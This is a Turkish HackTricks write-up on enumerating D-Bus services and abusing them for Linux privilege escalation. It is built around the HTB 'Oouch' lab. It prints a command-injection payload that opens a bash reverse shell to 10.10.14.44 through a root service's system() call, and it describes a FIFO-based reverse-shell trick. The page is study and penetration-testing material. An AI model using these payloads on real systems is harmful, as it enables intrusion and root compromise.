AWS Hacking'i öğrenin ve uygulayın: <imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
D-Bus, Ubuntu masaüstü ortamlarında ara işlem iletişimleri (IPC) arabirimi olarak kullanılır. Ubuntu'da, birkaç mesaj otobanının eşzamanlı çalıştığı gözlemlenir: sistem otobanı, genellikle **sistem genelinde ilgili hizmetleri sunmak için ayrıcalıklı hizmetler tarafından kullanılan** ve her oturum açılan kullanıcı için bir oturum otobanı, yalnızca o belirli kullanıcı için ilgili hizmetleri sunan. Buradaki odak noktası, ayrıcalıklı hizmetlerin çalıştığı daha yüksek ayrıcalıklarla (örneğin, kök) ilişkilendirilen sistem otobanıdır çünkü amacımız ayrıcalıkları yükseltmektir. D-Bus'ın mimarisinin her oturum otobanı için bir 'yönlendirici' kullandığı, bu yönlendiricinin, istemcilerin iletişim kurmak istedikleri hizmetlere göre istemci mesajlarını yönlendirmekten sorumlu olduğu belirtilmiştir.
D-Bus'taki hizmetler, sundukları**nesneler** ve **arayüzler** tarafından tanımlanır. Nesneler, her biri benzersiz bir **nesne yolunu** tanımlayan standart OOP dillerindeki sınıf örneklerine benzetilebilir. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sunulan her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, yalnızca bir yöntem olan Introspect yöntemine sahip olan **org.freedesktop.DBus.Introspectable** arayüzüdür. Bu yöntem, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsilini döndürür, burada özellikleri ve sinyalleri atlayarak yöntemlere odaklanır.
D-Bus arabirimine iletişim için iki araç kullanıldı: D-Bus tarafından sunulan yöntemleri betiklerde kolayca çağırmak için **gdbus** adlı bir CLI aracı ve [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), her otobanda mevcut hizmetleri numaralandırmak ve her hizmetin içinde bulunan nesneleri görüntülemek için tasarlanmış Python tabanlı bir GUI aracı.
İlk resimde D-Bus sistem otobüsüne kaydedilen servisler gösterilmekte, özellikle Sistem Otobüsü düğmesi seçildikten sonra **org.debin.apt** vurgulanmaktadır. D-Feet bu servisi nesneler için sorgular ve seçilen nesneler için arayüzleri, yöntemleri, özellikleri ve sinyalleri görüntüler, ikinci resimde görüldüğü gibi. Her yöntemin imzası da detaylı olarak verilir.
Dikkate değer bir özellik, servisin **işlem kimliği (pid)** ve **komut satırının** görüntülenmesidir; bu, servisin yükseltilmiş ayrıcalıklarla çalışıp çalışmadığını doğrulamak için faydalıdır ve araştırma açısından önemlidir.
**D-Feet ayrıca yöntem çağrısına izin verir**: kullanıcılar parametre olarak Python ifadeleri girebilir, D-Feet bu ifadeleri D-Bus türlerine dönüştürerek servise iletmektedir.
Ancak, **bazı yöntemlerin çağrılabilmesi için kimlik doğrulaması gerekebilir**. Bu yöntemleri göz ardı edeceğiz, çünkü amacımız öncelikle kimlik bilgileri olmadan ayrıcalıklarımızı yükseltmektir.
Ayrıca, bazı servislerin belirli eylemleri gerçekleştirmeye izin verilip verilmeyeceğini belirlemek için başka bir D-Bus servisi olan org.freedeskto.PolicyKit1'i sorguladığını unutmayın.
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Bir işlem bir otobüse bağlantı kurduğunda, otobüs bağlantıya _benzersiz bağlantı adı_ adı verilen özel bir otobüs adı atar. Bu tür otobüs adları değişmezdir - bağlantı var olduğu sürece değişmeyeceği garanti edilir - ve daha da önemlisi, otobüs ömrü boyunca tekrar kullanılamazlar. Bu, aynı işlem otobüs bağlantısını kapatıp yeni bir tane oluştursa bile, başka bir bağlantının bu tür benzersiz bağlantı adını asla atamayacağı anlamına gelir. Benzersiz bağlantı adları kolayca tanınabilir çünkü—aksi takdirde yasak olan—iki nokta karakteri ile başlar.
Bir **iletişimi izlemek** için **root** olmanız gerekecektir. Hala root olmakta sorun yaşıyorsanız [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) ve [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) adreslerine bakabilirsiniz.
Bir D-Bus yapılandırma dosyasını**kök olmayan kullanıcıların iletişimi izlemesine izin verecek şekilde yapılandırmayı** biliyorsanız lütfen **benimle iletişime geçin**!
Önceki yapılandırmadan **bu D-BUS iletişimi aracılığıyla bilgi gönderip almak için `root` veya `www-data` kullanıcısı olmanız gerekeceğini** unutmayın.
Docker konteyneri **aeb4525789d8** içindeki **qtc** kullanıcısı olarak, _/code/oouch/routes.py_ dosyasında bazı dbus ile ilgili kodları bulabilirsiniz. İlgili kodlar şunlardır:
D-Bus bağlantısının diğer tarafında çalışan derlenmiş bir C binary bulunmaktadır. Bu kod, D-Bus bağlantısında **IP adresini dinliyor ve `system` fonksiyonu aracılığıyla iptables'ı çağırıyor** verilen IP adresini engellemek için.\
**`system` fonksiyonuna yapılan çağrı, bilerek komut enjeksiyonuna açıktır**, bu nedenle aşağıdaki gibi bir yükleme ters kabuk oluşturacaktır: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
Bu sayfanın sonunda **D-Bus uygulamasının tam C kodunu** bulabilirsiniz. İçinde, 91-97 satırları arasında **`D-Bus nesne yolu`** ve **`arayüz adı`** nasıl **kaydedildiğini** bulabilirsiniz. Bu bilgiler, D-Bus bağlantısına bilgi göndermek için gereklidir:
Ayrıca, 57. satırda **bu D-Bus iletişimi için kayıtlı olan tek yöntemin**`Block` adında olduğunu bulabilirsiniz (_**Bu nedenle, aşağıdaki bölümde yükler hizmet nesnesine `htb.oouch.Block`, arayüze `/htb/oouch/Block` ve yöntem adına `Block` gönderilecektir**_):
Aşağıdaki python kodu, `Block` yöntemine `block_iface.Block(runme)` üzerinden D-Bus bağlantısına yük gönderecektir (_not: bu kod parçası önceki kod parçasından çıkarılmıştır_):
*`dbus-send`, "Message Bus"e mesaj göndermek için kullanılan bir araçtır.
* Message Bus - Sistemler arasında iletişimi kolaylaştırmak için kullanılan bir yazılımdır. Mesaj Kuyruğu ile ilgilidir (mesajlar sırayla düzenlenir), ancak Message Bus'ta mesajlar bir abonelik modelinde gönderilir ve ayrıca çok hızlıdır.
* "-system" etiketi, varsayılan olarak bir oturum mesajı değil bir sistem mesajı olduğunu belirtmek için kullanılır.
* "--print-reply" etiketi, mesajımızı uygun şekilde yazdırmak ve insan tarafından okunabilir bir formatta yanıtları almak için kullanılır.
* "--string:" - Arayüze göndermek istediğimiz mesajın türü. Mesaj gönderme formatlarının çeşitli olduğu gibi double, bytes, booleans, int, objpath gibi mesaj gönderme formatları vardır. Bunların dışında, "object path" dosya yolunu Dbus arayüzüne göndermek istediğimizde kullanışlıdır. Bu durumda bir komutu dosya adı olarak arayüze iletmek için özel bir dosya (FIFO) kullanabiliriz. "string:;" - Bu, FIFO ters kabuk dosya/komutunun adını dosya olarak yerleştirdiğimiz yerde tekrar nesne yolunu çağırmak içindir.
AWS Hacking'ı öğrenin ve uygulayın:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.